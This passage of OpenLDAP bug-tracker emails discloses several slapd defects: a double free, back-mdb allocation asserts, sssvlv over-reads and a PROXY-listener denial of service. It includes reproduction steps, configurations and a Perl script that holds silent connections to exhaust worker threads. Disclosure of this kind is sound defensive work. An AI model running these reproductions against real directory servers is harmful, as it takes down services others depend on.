The modify should be rejected with a syntax error and slapd should keep
running.
Build Date & Hardware:
OpenLDAP 2.6.16 (release tag OPENLDAP_REL_ENG_2_6_16, built from source),
Linux arm64 (aarch64), Ubuntu 24.04 userland, glibc 2.39; also a 2.6.16
sanitizer build (ASan, -DSLAP_NO_SL_MALLOC) on the same platform.
Additional Builds and Platforms:
2.7.2 release build (arm64): same result (abort). Ubuntu 24.04 slapd package
2.6.10: reproduces with the same steps. master: access_free( b ) followed by
acl_free( a ) is still present by reading; not run. 2.5.20, Alpine/musl and
x86-64: not tested.
Additional Information:
Crash type: abort from glibc's double-free check (SIGABRT), in the failure
path of parse_acl(), aclparse.c. Whether the double free can be used for more
than a crash was not examined. The fuzzing run stopped on this defect 4 times.
No fix was built or tested. Direction (untested): set b = NULL after appending
it to a->acl_access.
Six other values that crash or hang slapd when written to cn=config were found
by the same fuzzing of the configuration parsers, each reported separately:
"slapd: acl_string_expand reads out of bounds on huge ${N}"; "slapd:
slap_set_filter crashes on set="((this" in an ACL"; "librewrite:
rewrite_subst_apply length overflows int, OOM"; "slapd: double free on failing
olcAuthzRegexp value"; "slapd: parse_acl loops forever on "$x" in an expand
clause"; "slapo-rwm: rejected rwm-rewriteMap is kept, later assert".
Credit: when a CVE is assigned for this issue, please credit Joao Charles
Carvalho.
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=10769
Issue ID: 10769
Summary: back-mdb multival key size and allocation failure -
LOW
Product: OpenLDAP
Version: 2.6.16
Hardware: All
OS: All
Status: UNCONFIRMED
Keywords: needs_review
Severity: normal
Priority: ---
Component: backends
Assignee: bugs(a)openldap.org
Reporter: jcc(a)security.souspilot.com
Target Milestone: ---
Overview:
Both are in back-mdb: an oversized value of a multival attribute fails the
whole Modify with result 80, and one failed allocation in a read leaves the
thread's cached reader transaction unusable so a later operation hits an
assertion. The fix direction is to reject or store oversized multival values
differently and to reset the reader transaction on failure. The highest
outcome is a slapd abort after an allocation failure.
This report groups 2 related issues, listed below with their own reproduction
steps and results. They were found together and are reported as one batch at
the maintainers' request.
Issues in this report:
1. "back-mdb: oversized multival value fails modify with rc 80" (Low)
2. "back-mdb: mdb_opinfo_get assert after one failed allocation" (Low)
==============================================================================
Issue 1 of 2: "back-mdb: oversized multival value fails modify with rc 80"
(Low)
==============================================================================
Overview:
With multival configured for an attribute, back-mdb stores values of an
attribute that has more than the threshold number of values in a separate
table keyed by value. When such a value is large (2,000 bytes and more in
the runs; by the tester's analysis, as large as or larger than LMDB's maximum
key size), the whole Modify fails with result 80 (other) and no diagnostic
message, and nothing is stored.
It affects any writer of an attribute covered by multival; it is a functional
defect with no security impact identified.
Steps to Reproduce:
1) Start slapd 2.6.16 with a back-mdb database for dc=example,dc=org, an
access rule that lets users write their own entry, an inetOrgPerson entry
uid=carol,ou=people,dc=example,dc=org (userPassword carol-pass) and a
multival setting for description with a threshold of 50 values:
multival description 50,20
2) As carol, add 51 values of 100 bytes each to description of her own entry
in one Modify (control).
3) Add 51 values of 8,000 bytes each in one Modify, for example:
python3 -c "
print('dn: uid=carol,ou=people,dc=example,dc=org')
print('changetype: modify')
print('add: description')
for i in range(51): print('description: o%04d-' % i + 'q' * 8000)
" > big.ldif
ldapmodify -x -H ldap://127.0.0.1:1389 \
-D uid=carol,ou=people,dc=example,dc=org -w carol-pass -f big.ldif
The measured runs sent the same Modify requests with a short Python ldap3
script (value counts 49 to 300, sizes 100 to 8,000 bytes); the ldapmodify form
above is equivalent and was not itself run.
A proof-of-concept script is available and can be provided on request.
Actual Results:
Step 2: success, all values stored; the same for 49, 50, 120 and 300 values of
100 bytes (10 of 10 such Modifies over two configurations of the same server).
Step 3: result 80 (other) with an empty diagnostic message, 0 values stored;
the same for 120 values of 8,000 bytes, 120 of 2,000 bytes and 60 of 4,000
bytes (8 of 8 over the two configurations). The smallest failing value size
that was run is 2,000 bytes.
Expected Results:
Large values are stored (for example keyed by a hash), or the Modify is
refused with a specific result code and a diagnostic message that names the
limit.
Build Date & Hardware:
OpenLDAP 2.6.16 (release tag, built from source), Linux aarch64, Ubuntu 24.04
userland, glibc 2.39.
Additional Builds and Platforms:
- 2.7.2: not run (the results hold the 2.6.16 server only).
- master, 2.5.20, Ubuntu package, Alpine/musl: not tested.
Additional Information:
Not a crash.
The evidence is thin (one result set of 18 cases and the test script). The
threshold in step 1 is taken from a neighbouring test script, not from this
run's own files; the place in back-mdb where the LMDB error is turned into
result 80 was not identified, and no slapd log line names the key size as the
cause. That the failure starts where the stored value reaches LMDB's maximum
key size (511 bytes in the LMDB of 2.6) is the tester's statement: no size
between 100 and 2,000 bytes was run, and neither was a case with long values
below the multival threshold. No fix was built or tested; not independently
reproduced.
A second, unrelated defect was seen in the same test series and belongs in its
own report: ldap_pvt_hex_unescape() (libraries/libldap/url.c) truncates the
whole string when a "%" is not followed by two hex digits, so a URL such as
ldap://%zz/ gets an empty host, which libldap resolves as localhost; with
slapo-chain this was chased to slapd's own loopback listener (2
self-connections). It gives the chain overlay problems reported separately as
"slapo-chain: unbounded referral recursion, stack overflow", "slapo-chain: no
limit on URLs chased per search reference" and "slapo-chain: self-pointing
referral hangs all worker threads" a self-pointing URL.
==============================================================================
Issue 2 of 2: "back-mdb: mdb_opinfo_get assert after one failed allocation"
(Low)
==============================================================================
Overview:
In back-mdb one transient allocation failure inside a read (mdb_txn_begin() or
mdb_cursor_open()) leaves the worker thread's cached reader transaction
unusable. A later mdb_txn_renew() then fails and mdb_opinfo_get()
(servers/slapd/back-mdb/id2entry.c:828) hits assert(!rc), so slapd aborts,
possibly in a request unrelated to the one whose allocation failed:
if ( renew ) {
rc = mdb_txn_renew( moi->moi_txn );
assert(!rc); /* line 828 */
}
It is reached by any client whose request makes back-mdb open a read
transaction, but only when a heap allocation actually fails (RLIMIT_AS,
overcommit disabled, memory exhaustion).
A second effect was seen on the sanitizer build only (2 runs): after one
failed mdb_txn_begin() during an ACL group lookup of a denied modify, slapd
stays up and answers searches but the follow-up modify hangs. Its root cause
was not found; it is mentioned here and not described further.
Steps to Reproduce:
The defect is only reached when a heap allocation fails, so the reproduction
uses an LD_PRELOAD fault-injection library. It wraps malloc(), calloc() and
realloc() and forwards to the next definition (glibc, or libasan on a
sanitizer build when the library is first in LD_PRELOAD and
ASAN_OPTIONS=verify_asan_link_order=0 is set). It reads a control line "<mode>
<N> <K> <seed>" from a file on a real-time signal (SIGRTMIN+3) and writes call
counts on SIGRTMIN+4. Mode "count" only counts allocations; mode "nth" makes
allocation number N (and the K-1 following ones) return NULL with errno
ENOMEM. Allocations made from a configurable list of functions are neither
counted nor failed (found by walking the frame pointers); an optional target
list restricts counting and failing to allocations made from the named
functions. Each injected failure is logged with a frame-pointer backtrace. A
proof-of-concept script is available and can be provided on request. 1. Build
OpenLDAP 2.6.16 with back-mdb and the syncprov, sssvlv and ppolicy overlays,
as a plain release build and as a sanitizer build (ASan + UBSan,
-fno-omit-frame-pointer, -DSLAP_NO_SL_MALLOC). 2.
include /etc/ldap/schema/core.schema
include /etc/ldap/schema/cosine.schema
include /etc/ldap/schema/inetorgperson.schema
include /etc/ldap/schema/nis.schema
modulepath /usr/lib/ldap
moduleload back_mdb
moduleload syncprov
moduleload sssvlv
moduleload ppolicy
pidfile /tmp/fm/run/slapd.pid
argsfile /tmp/fm/run/slapd.args
authz-policy to
authz-regexp "^uid=([^,]+),cn=[^,]+,cn=auth$"
"uid=$1,ou=people,dc=example,dc=org"
sizelimit 500
password-hash {SSHA}
database config
rootdn "cn=config"
rootpw config
database mdb
suffix "dc=example,dc=org"
rootdn "cn=admin,dc=example,dc=org"
rootpw secret
directory /tmp/fm/db
maxsize 268435456
index objectClass eq
index cn,uid,mail eq,sub
index entryCSN,entryUUID eq
overlay syncprov
syncprov-checkpoint 10 1
overlay sssvlv
overlay ppolicy
ppolicy_default "cn=default,ou=policies,dc=example,dc=org"
access to attrs=userPassword
by self write
by anonymous auth
by * none
access to dn.subtree="ou=secret,dc=example,dc=org"
by group/groupOfNames/member="cn=admins,ou=groups,dc=example,dc=org" read
by * none
access to attrs=description
by set="user/uid & [alice]" read
by self read
by * none
access to dn.regex="^uid=([^,]+),ou=people,dc=example,dc=org$"
attrs=telephoneNumber
by dn.regex="^uid=$1,ou=people,dc=example,dc=org$" write
by users read
by * none
access to dn.subtree="ou=people,dc=example,dc=org"
attrs=entry,@inetOrgPerson
by dn.regex="^uid=(alice|bob),ou=people,dc=example,dc=org$" write
by * read
access to *
by users read
by anonymous read
3. Data /tmp/fm/data.ldif (reduced to the entries the requests use; the test
data also held a few entries under ou=secret and 30 further users):
dn: dc=example,dc=org
objectClass: dcObject
objectClass: organization
o: Example
dc: example
dn: ou=people,dc=example,dc=org
objectClass: organizationalUnit
ou: people
dn: ou=groups,dc=example,dc=org
objectClass: organizationalUnit
ou: groups
dn: ou=policies,dc=example,dc=org
objectClass: organizationalUnit
ou: policies
dn: cn=default,ou=policies,dc=example,dc=org
objectClass: person
objectClass: pwdPolicy
cn: default
sn: policy
pwdAttribute: userPassword
pwdMaxFailure: 1000
pwdLockout: TRUE
pwdInHistory: 2
pwdCheckQuality: 0
dn: cn=admins,ou=groups,dc=example,dc=org
objectClass: groupOfNames
cn: admins
member: uid=alice,ou=people,dc=example,dc=org
dn: uid=alice,ou=people,dc=example,dc=org
objectClass: inetOrgPerson
uid: alice
cn: alice Alice
sn: Alice
userPassword: alice-pw
dn: uid=bob,ou=people,dc=example,dc=org
objectClass: inetOrgPerson
uid: bob
cn: bob Bob
sn: Bob
userPassword: bob-pw
dn: uid=carol,ou=people,dc=example,dc=org
objectClass: inetOrgPerson
uid: carol
cn: carol Carol
sn: Carol
telephoneNumber: +1 555 000 carol
userPassword: carol-pw
4. Load the data and start slapd with the injector preloaded and restricted to
allocations made from mdb_txn_begin:
mkdir -p /tmp/fm/db /tmp/fm/run
slapadd -q -f /tmp/fm/slapd.conf -l /tmp/fm/data.ldif
env LD_PRELOAD=/tmp/fm/injector.so \
slapd -d 0 -h ldap://127.0.0.1:1389 -f /tmp/fm/slapd.conf &
Allocations made from ch_malloc, ch_calloc, ch_realloc, ch_strdup and
slap_sl_malloc / slap_sl_calloc / slap_sl_realloc are excluded, because those
helpers exit or assert on failure by design. For the sanitizer build also set:
ASAN_OPTIONS=verify_asan_link_order=0:allocator_may_return_null=1:abort_on_error=1:detect_leaks=0
5. When slapd answers, arm "fail allocation number N made from mdb_txn_begin"
(N = 1, then in a second run N = 2).
6. As the ordinary user bob send a modify that the ACLs deny:
ldapmodify -x -H ldap://127.0.0.1:1389 \
-D uid=bob,ou=people,dc=example,dc=org -w bob-pw <<EOF
dn: uid=carol,ou=people,dc=example,dc=org
changetype: modify
replace: telephoneNumber
telephoneNumber: 666
EOF
7. Send a follow-up request under a 10-second timeout and check whether slapd
still answers a rootDSE search. The runs did not record which follow-up was
sent; the hanging follow-up was a modify, for example:
timeout 10 ldapmodify -x -H ldap://127.0.0.1:1389 \
-D cn=admin,dc=example,dc=org -w secret <<EOF
dn: uid=carol,ou=people,dc=example,dc=org
changetype: modify
replace: telephoneNumber
telephoneNumber: +1 555 000 carol
EOF
ldapsearch -x -H ldap://127.0.0.1:1389 -b "" -s base -o nettimeout=3 1.1
Actual Results:
In each of the four runs the injected failure was calloc(12778) in
mdb_txn_begin <- mdb_opinfo_get <- mdb_entry_get <- overlay_entry_get_ov
(called from the ppolicy overlay on the release build):
build N step 6 follow-up slapd afterwards
release 2.6.16 1 no answer (255) 255 down
release 2.6.16 2 result 50 0 alive
sanitizer 2.6.16 1 result 50 124 = hung alive
sanitizer 2.6.16 2 result 50 124 = hung alive
Release build, N = 1, slapd's last line:
slapd: id2entry.c:828: mdb_opinfo_get: Assertion `!rc' failed.
So: the assertion in 1 of 2 release runs, the other release run unaffected;
the hang in 2 of 2 sanitizer runs. In sweeps of about 8,200 single-fault
requests on the sanitizer build the same assertion ended 74 requests (36
reached through mdb_entry_get(), 34 through mdb_search(), 4 through
mdb_compare()).
Expected Results:
The failing request should return an error and release or reset the thread's
reader transaction; later requests on that thread should work. A failed
mdb_txn_renew() should be reported as an error to the client, not asserted.
Build Date & Hardware:
OpenLDAP 2.6.16 (release tag OPENLDAP_REL_ENG_2_6_16, built from source),
Linux arm64 (aarch64), Ubuntu 24.04 userland, glibc 2.39; release build and a
sanitizer build (ASan + UBSan, -DSLAP_NO_SL_MALLOC).
Additional Builds and Platforms:
2.7.2, 2.5.20, master, the Ubuntu 24.04 package, Alpine/musl and x86-64: not
tested. Nothing was run with real memory pressure in place of the injection.
Additional Information:
Crash type: assertion abort (SIGABRT) in mdb_opinfo_get(),
back-mdb/id2entry.c:828. The abort can come in a later request served by the
same thread; in the one release run that hit it, the client of the request
with the failed allocation already got no answer (client exit code 255).
The write hang was seen in 2 of 2 runs on the sanitizer build only (one
follow-up request per run, 10-second timeout); on the release build the same
injection hit the assertion once and had no effect once. Root cause of the
hang: not found. A guess from reading, not a result: write-transaction or
per-operation state left behind by the failed reader-transaction path.
No faulted request returned data or success that the ACLs deny.
No fix was built or tested. Direction (untested): return the error of
mdb_txn_renew() to the caller instead of asserting, and discard or reset the
thread's cached reader transaction when a read path fails.
This was found together with the unchecked allocation results in slapd's
frontend, reported separately as "slapd: double free of connection DN when
ber_dupbv fails". The results come from one test campaign and were not
reproduced a second time.
Credit: when a CVE is assigned for this issue, please credit Joao Charles
Carvalho.
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=10768
Issue ID: 10768
Summary: sssvlv VLV offset and continued-session arithmetic -
LOW
Product: OpenLDAP
Version: 2.6.16
Hardware: All
OS: All
Status: UNCONFIRMED
Keywords: needs_review
Severity: normal
Priority: ---
Component: overlays
Assignee: bugs(a)openldap.org
Reporter: jcc(a)security.souspilot.com
Target Milestone: ---
Overview:
Both are in slapo-sssvlv's VLV handling: the target position computation
overflows a signed int, and a continued VLV request with more sort keys than
the stored session reads past the stored values. The fix direction is 64-bit
or checked arithmetic and comparing the new sort control with the stored one.
The highest outcome is an out-of-bounds read in slapd.
This report groups 2 related issues, listed below with their own reproduction
steps and results. They were found together and are reported as one batch at
the maintainers' request.
Issues in this report:
1. "slapo-sssvlv: signed integer overflow in VLV offset math" (Low)
2. "slapo-sssvlv: continued VLV with more sort keys over-reads" (Low)
==============================================================================
Issue 1 of 2: "slapo-sssvlv: signed integer overflow in VLV offset math" (Low)
==============================================================================
Overview:
In slapo-sssvlv the target position of a VLV request by offset is computed as
"target = so_nentries * vc_offset / vc_count" in int arithmetic
(servers/slapd/overlays/sssvlv.c:462). vc_offset and vc_count come from the
client's VLV request control, so the multiplication can overflow a signed int,
which is undefined behaviour.
Any client that may search a database with the overlay can send such a
control; anonymous in the measured run. The evidence is one
UndefinedBehaviorSanitizer line; the request was answered and no crash was
seen.
Steps to Reproduce:
1) Start a slapd built with -fsanitize=undefined (the version of the build
that produced the report was not noted) with a back-mdb database for
dc=example,dc=org, the overlay, and 300 entries under ou=sv that anonymous
clients may read:
moduleload sssvlv
overlay sssvlv
access to dn.subtree="ou=sv,dc=example,dc=org" by * read
# entries cn=sv001 .. cn=sv300,ou=sv,dc=example,dc=org (inetOrgPerson, sn
S300 .. S001)
2) Without binding, send a subtree search of ou=sv,dc=example,dc=org,
attributes 1.1, with the critical server-side-sort control
(1.2.840.113556.1.4.473; key sn, ordering rule caseIgnoreOrderingMatch) and
a critical VLV request control (2.16.840.1.113730.3.4.9) that selects by
offset with very large values: before 0, after 5, byOffset offset
2147483647, contentCount 300. The measured run produced the operands
2147483646 and 301; which of the 29 sort/VLV cases sent in that run
produced them was not logged.
A proof-of-concept script is available and can be provided on request.
Actual Results:
UBSan prints "sssvlv.c:462:30: runtime error: signed integer overflow:
2147483646 * 301 cannot be represented in type 'int'". The search is answered
(result 0) and slapd keeps running. No crash was seen. Release 2.6.16 and
release 2.7.2 answered all 29 cases and stayed up (for example a huge offset
is answered with result 76, a negative offset with result 0).
Expected Results:
The position is computed without overflow (wider type or range check on offset
and count), or the request is rejected with a VLV error.
Build Date & Hardware:
A build of OpenLDAP with -fsanitize=undefined, built from source; the log does
not name the version (the test setup had 2.6.16, 2.7.2 and a 2.7.2 sanitizer
build). Linux aarch64, Ubuntu 24.04 userland, glibc 2.39.
Additional Builds and Platforms:
- 2.6.16 and 2.7.2: the expression is at the same line, sssvlv.c:462, in both,
by reading. Release builds of both were run (29 cases each): answered, no
crash.
- master, 2.5.20, Ubuntu package, Alpine/musl, x86-64: not tested.
Additional Information:
Sanitizer finding only: undefined behaviour at sssvlv.c:462, no crash and no
wrong memory access seen. What a release build does with the overflowed
position (an out-of-range target) was not examined beyond "answered, still
running".
The evidence is thin (one sanitizer log line). Which control values produce
the two operands was not logged. No fix was built or tested; not independently
reproduced.
Suggested direction (untested): compute the target in a 64-bit type, or reject
offset and count values outside the range of the result set before the
multiplication.
Related reports in the same overlay: "slapo-sssvlv: VLV contextID, paged
cookie are heap addresses", "slapo-sssvlv: one sorted search crashes slapd
(SIGSEGV)" and "slapo-sssvlv: sort sessions tied to connection, not identity".
==============================================================================
Issue 2 of 2: "slapo-sssvlv: continued VLV with more sort keys over-reads"
(Low)
==============================================================================
Overview:
When a VLV request continues an existing slapo-sssvlv session, the overlay
replaces the session's sort control with the one in the new request
(so->so_ctrl = sc, servers/slapd/overlays/sssvlv.c:955) without comparing
them. The stored sort nodes hold as many key values as the first request named
(sssvlv.c:735-737, :758). If the continuing request names more sort keys and
positions by value, node_cmp() (sssvlv.c:174-177) walks sc->sc_nkeys slots of
a stored node and reads past its value array. Anyone who can search a database
with "overlay sssvlv" can send the two requests on one connection. On release
builds no crash or disclosure was obtained; the sanitizer build reports a
heap-buffer-overflow READ.
Steps to Reproduce:
1. Save this as /tmp/slapd.conf (adjust the schema path and the moduleload
lines to the build), load the two entries and start slapd on port 389 (the
client below connects to port 389):
include /usr/local/etc/openldap/schema/core.schema
pidfile /tmp/slapd.pid
moduleload back_mdb.so
moduleload sssvlv.so
database mdb
suffix "o=x"
rootdn "cn=m,o=x"
rootpw secret
directory /tmp/short-db
overlay sssvlv
dn: o=x
objectClass: organization
o: x
dn: o=y,o=x
objectClass: organization
o: y
mkdir -p /tmp/short-db
slapadd -f /tmp/slapd.conf -l /tmp/data.ldif
slapd -f /tmp/slapd.conf -h ldap://127.0.0.1:389 -d stats
2. On one anonymous connection send (a) a subtree search of o=x with a Sort
control (one key: o, rule caseIgnoreOrderingMatch) and a VLV control by
offset (before 0, after 1, offset 1), and note the context ID in the VLV
response control; (b) a second search that continues the session: the VLV
control carries that context ID and positions by value (greaterThanOrEqual
"x"), and the Sort control names five keys. Then (c) a plain search of o=x
without controls. All requests: attribute list "1.1", Sort request control
1.2.840.113556.1.4.473, VLV request control 2.16.840.1.113730.3.4.9. A
proof-of-concept script is available and can be provided on request.
Actual Results:
Sanitizer build, 2.6.16 and 2.7.2: slapd aborts with "AddressSanitizer:
heap-buffer-overflow ... READ of size 8 ... in node_cmp sssvlv.c:177" <-
ldap_tavl_find3 <- send_list :519 <- sssvlv_op_search :956, 2 bytes to the
right of the 54-byte node allocated at :758. Release 2.6.16 and 2.7.2: slapd
keeps running and returns a wrong position (target 2 instead of 1); no crash
and no data disclosure was obtained.
Expected Results:
A continuing request whose sort keys differ from those of the session should
be refused (for example with unwillingToPerform, like the existing "changed
from paged to vlv" case) or should start a new sort; the stored nodes should
never be read beyond the number of keys they hold.
Build Date & Hardware:
OpenLDAP 2.6.16 (release tag, built from source; release build and
AddressSanitizer build), Linux arm64 (aarch64), Ubuntu 24.04 userland, glibc
2.39. OpenLDAP 2.7.2 (release and sanitizer builds): same results.
Additional Builds and Platforms:
OpenLDAP 2.6.16 and 2.7.2 (release tags, built from source; release and
AddressSanitizer builds, Linux arm64). master: the diff below applies with
offsets (dry run), not built or run. Ubuntu 24.04 package, 2.5.x, Alpine/musl,
x86-64: not tested for this item. Reproduced only by the tester who found it,
in two complete runs of the reproduction.
Additional Information:
Sanitizer report: heap-buffer-overflow READ of size 8 in node_cmp(),
servers/slapd/overlays/sssvlv.c:177 (CWE-125), reached through
ldap_tavl_find3 <- send_list :519 <- sssvlv_op_search :956, 2 bytes to the
right of the 54-byte node allocated at :758. Root cause: sssvlv.c:955 replaces
the session's sort control without checking it against the keys the stored
nodes were built with (:735-737, :758).
On release builds the out-of-range slots are only tested for NULL, because
the probe node's extra keys are NULL, so nothing read there is dereferenced;
this explains the wrong position and the absence of a crash.
Suggested fix (built and tested: 2.6.16 release tag, release and sanitizer
builds, against the request of the reproduction: result 53 instead of the
over-read, no sanitizer report; applies to 2.7.2 and master with offsets as a
dry run, not built there; the OpenLDAP test suite was not run). The session
keeps its own copy of the sort keys, and a continuing request with different
keys ends the session with unwillingToPerform. The diff was made on top of a
separate change to the same file (the fix for the problem reported separately
as "slapo-sssvlv: VLV contextID, paged cookie are heap addresses"), so its
line numbers are offset by a few lines against the release source.
Related problems in the same overlay, each reported separately: "slapo-sssvlv:
VLV contextID, paged cookie are heap addresses", "slapo-sssvlv: sort keys
ignore ACLs (attribute value oracle)", "slapo-sssvlv: one sorted search
crashes slapd (SIGSEGV)", "slapo-sssvlv: sort sessions tied to connection, not
identity", "slapo-sssvlv: slab-allocated sort_op left in session table". This
is a different defect from the ordering-rule and root-key crashes, and the fix
for those does not change it.
Impact: An out-of-bounds heap read of a few bytes past a sort node, reachable
by anyone who can search a database with "overlay sssvlv" (optional overlay).
On release builds the only effect obtained was a wrong target position in the
VLV response; no crash and no disclosure of memory contents was obtained, and
none is claimed. Rated Low for that reason.
Suggested fix: Fix for sssvlv.c: the session keeps its sort keys; a
continuation with other keys gets unwillingToPerform. On top of the context-ID
fix; tested on 2.6.16.
--- a/servers/slapd/overlays/sssvlv.c
+++ b/servers/slapd/overlays/sssvlv.c
@@ -107,6 +107,7 @@
{
TAvlnode *so_tree;
sort_ctrl *so_ctrl;
+ sort_ctrl *so_keys; /* own copy of the keys the tree was built with
*/
sssvlv_info *so_info;
int so_paged;
int so_page_size;
@@ -378,6 +379,25 @@
return -1;
}
+/* The sorted set of a session was built with one list of sort keys: the
+ * stored nodes hold exactly that many values, compared under those rules.
+ * A request that continues the session has to name the same keys.
+ */
+static int same_sort_keys( sort_ctrl *sc1, sort_ctrl *sc2 )
+{
+ int i;
+
+ if ( sc1 == NULL || sc2 == NULL || sc1->sc_nkeys != sc2->sc_nkeys )
+ return 0;
+ for ( i = 0; i < sc1->sc_nkeys; i++ ) {
+ if ( sc1->sc_keys[i].sk_ad != sc2->sc_keys[i].sk_ad ||
+ sc1->sc_keys[i].sk_ordering !=
sc2->sc_keys[i].sk_ordering ||
+ sc1->sc_keys[i].sk_direction !=
sc2->sc_keys[i].sk_direction )
+ return 0;
+ }
+ return 1;
+}
+
static int find_next_session(
int svi_max_percon,
int conn_id )
@@ -427,6 +447,9 @@
}
so->so_tree = NULL;
}
+ if ( so->so_keys ) {
+ ch_free( so->so_keys );
+ }
ch_free( so );
}
@@ -940,8 +963,9 @@
}
}
if (( vc && so->so_paged > SLAP_CONTROL_IGNORED ) ||
- ( ps && so->so_vlv > SLAP_CONTROL_IGNORED )) {
- /* changed from paged to vlv or vice versa, abandon
*/
+ ( ps && so->so_vlv > SLAP_CONTROL_IGNORED ) ||
+ !same_sort_keys( so->so_keys, sc )) {
+ /* changed from paged to vlv or vice versa, or
changed the sort keys: abandon */
ok = 0;
so->so_nentries = 0;
rs->sr_err = LDAP_UNWILLING_TO_PERFORM;
@@ -959,7 +983,11 @@
/* OK, this connection now has a sort running */
si->svi_num++;
if ( ps || vc ) {
+ size_t len = sizeof(sort_ctrl) +
+ ( sc->sc_nkeys - 1 ) * sizeof(sort_key);
so = ch_calloc( 1, sizeof(sort_op) );
+ so->so_keys = ch_malloc( len );
+ AC_MEMCPY( so->so_keys, sc, len );
} else {
so = op->o_tmpcalloc( 1, sizeof(sort_op),
op->o_tmpmemctx );
}
Credit: when a CVE is assigned for this issue, please credit Joao Charles
Carvalho.
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=10764
Issue ID: 10764
Summary: Listener and sockbuf limits do not bound worker use -
MEDIUM
Product: OpenLDAP
Version: 2.6.16
Hardware: All
OS: All
Status: UNCONFIRMED
Keywords: needs_review
Severity: normal
Priority: ---
Component: slapd
Assignee: bugs(a)openldap.org
Reporter: jcc(a)security.souspilot.com
Target Milestone: ---
Overview:
A pldap:// listener reads the PROXY header with blocking reads on a worker
thread before any timeout applies, and the default limit for authenticated
request size is 16 MB rather than the documented 4 MB. Both are in slapd's
listener/connection resource limits. The fix direction is to read the PROXY
header without blocking (or with the idle timeout) and to align the default
with the documentation. The highest outcome is all worker threads blocked by
silent connections.
This report groups 2 related issues, listed below with their own reproduction
steps and results. They were found together and are reported as one batch at
the maintainers' request.
Issues in this report:
1. "pldap:// listener: silent connections block all workers" (Medium)
2. "slapd: sockbuf_max_incoming_auth default is 16 MB, not 4 MB" (Low–Medium)
==============================================================================
Issue 1 of 2: "pldap:// listener: silent connections block all workers"
(Medium)
==============================================================================
Overview:
For a listener declared with pldap:// or pldaps:// (PROXY protocol, ITS#9419),
slap_listener() in servers/slapd/daemon.c, which runs as a task on the worker
thread pool, calls proxyp() (servers/slapd/proxyp.c) on the accepted socket.
proxyp() reads the PROXY v2 header with up to three blocking reads, with no
timeout, before connection_init() is called, so olcIdleTimeout,
olcWriteTimeout and olcConnMaxPendingAuth do not apply. Each client that
connects and sends nothing holds one worker thread for as long as it keeps the
socket open. With as many such connections as olcThreads (16 by default) no
worker is left and every listener of the process stops answering, not only the
PROXY one. Anyone with TCP reach to the pldap or pldaps port can do it; no
credentials, LDAP traffic or valid header are needed.
Steps to Reproduce:
1. Start slapd (any working configuration with one database, default
olcThreads) with a PROXY listener next to the normal ones:
slapd -d stats -F /etc/openldap/slapd.d \
-h "ldap:/// ldapi:/// pldap://:3389/ pldaps://:3636/"
2. Open 16 TCP connections to the pldap port, send nothing and keep them open.
This short Perl client does it; mode "partial" sends 15 of the 16 fixed
header bytes, mode "options" a complete LOCAL header announcing 100 further
bytes that are never sent:
#!/usr/bin/perl
# hold-connections.pl HOST PORT COUNT SECONDS [silent|partial|options]
use strict; use warnings; use IO::Socket::INET;
my ($host, $port, $count, $secs, $mode) = @ARGV; $mode ||= 'silent';
my $sig = "\x0D\x0A\x0D\x0A\x00\x0D\x0A\x51\x55\x49\x54\x0A";
my @s;
for my $i (1 .. $count) {
my $c = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port,
Proto => 'tcp', Timeout => 5) or die "connect $i failed: $!\n";
if ($mode eq 'partial') {
syswrite($c, substr($sig . "\x20\x00\x00\x00", 0, 15));
} elsif ($mode eq 'options') {
syswrite($c, $sig . "\x20\x00" . pack('n', 100));
}
push @s, $c;
}
print "HELD ", scalar(@s), " mode=$mode port=$port\n";
sleep $secs; close $_ for @s; print "CLOSED\n";
perl hold-connections.pl 127.0.0.1 3389 16 120
3. While they are held, from another client:
timeout 6 ldapwhoami -x -H ldap://127.0.0.1 -o nettimeout=5
timeout 6 ldapwhoami -Q -Y EXTERNAL -H ldapi:///
and, as a check of the PROXY port itself, a connection to 3389 that sends a
valid PROXY v2 LOCAL header (the 12-byte signature, 0x20 0x00, length 0)
followed by an anonymous simple BindRequest (hex
300c020101600702010304008000) and waits 5 s for the BindResponse.
4. Controls and variants: 15 instead of 16 connections; 64 silent connections
to the plain ldap:// port 389; modes "partial" and "options"; the pldaps
port 3636; olcIdleTimeout: 3, olcWriteTimeout: 3 and olcConnMaxPendingAuth:
1 on cn=config; olcThreads: 4 (restart) with 3 and with 4 connections;
SIGTERM to slapd while 4 connections are held.
A proof-of-concept script is available and can be provided on request.
Actual Results:
Release build of 2.6.16: with 15 silent connections there is no effect; with
16, ldapwhoami on ldap:// and ldapi:/// and the valid proxied client get no
answer within 6 s, and still do not 20 s later; service returns about 0.05 s
after the client closes its sockets. olcThreads: 4: 3 connections have no
effect, 4 stop the server. The same through the pldaps:// port (the header is
read before TLS starts), and with mode "options"; mode "partial" is rejected
at once and holds nothing. The three timeouts do not help (a silent connection
on ldap:// is closed by idletimeout in the same configuration). 64 silent
connections to the plain ldap:// port: no effect. After SIGTERM slapd logs
"slapd shutdown: waiting for 4 operations/tasks to finish" and is still
running 15 s later; it exits (status 0) once the client closes its sockets.
The same sequence gives the same results on the 2.7.2 release build and on the
Ubuntu 24.04 slapd package. The results are included as results-2.6.16.txt and
results-2.7.2.txt.
Expected Results:
A connection that has not sent its PROXY header should not hold a worker
thread indefinitely: the header should be read with a timeout, or better from
the event loop before a worker is used, and the other listeners should keep
answering.
Build Date & Hardware:
OpenLDAP 2.6.16 and 2.7.2 (release tags, built from source), release builds.
Linux arm64 (aarch64), Ubuntu 24.04 userland (glibc), GCC 12.
Additional Builds and Platforms:
Ubuntu 24.04 slapd package 2.6.10+dfsg-0ubuntu0.24.04.1 (arm64): the same
reproduction gives the same results. master: the same code (differs only by
casts), by reading; not run. lloadd: not affected. 2.5.x (the feature dates
from 2.5), musl and x86-64: not tested. Does not apply to 2.4.
Additional Information:
Type: denial of service by worker-pool exhaustion; no memory error (fuzzing
the header parser with 9,093 cases found none). Root cause: proxyp() uses
blocking tcp_read() calls on a worker thread before the connection is
registered with connection.c.
A mitigation was built and tested on the 2.6.16 release build with the
reproduction above (not built for 2.7.2): a 5 s SO_RCVTIMEO around the header
reads, cleared once the header is accepted. With it ldap:// and ldapi:/// keep
answering with 16 connections held (silent, or with the incomplete header, on
pldap:// and pldaps://) and with 4 held at olcThreads 4; valid PROXY headers
(LOCAL and PROXY/TCPv4) still work; SIGTERM completes about 5 s after the
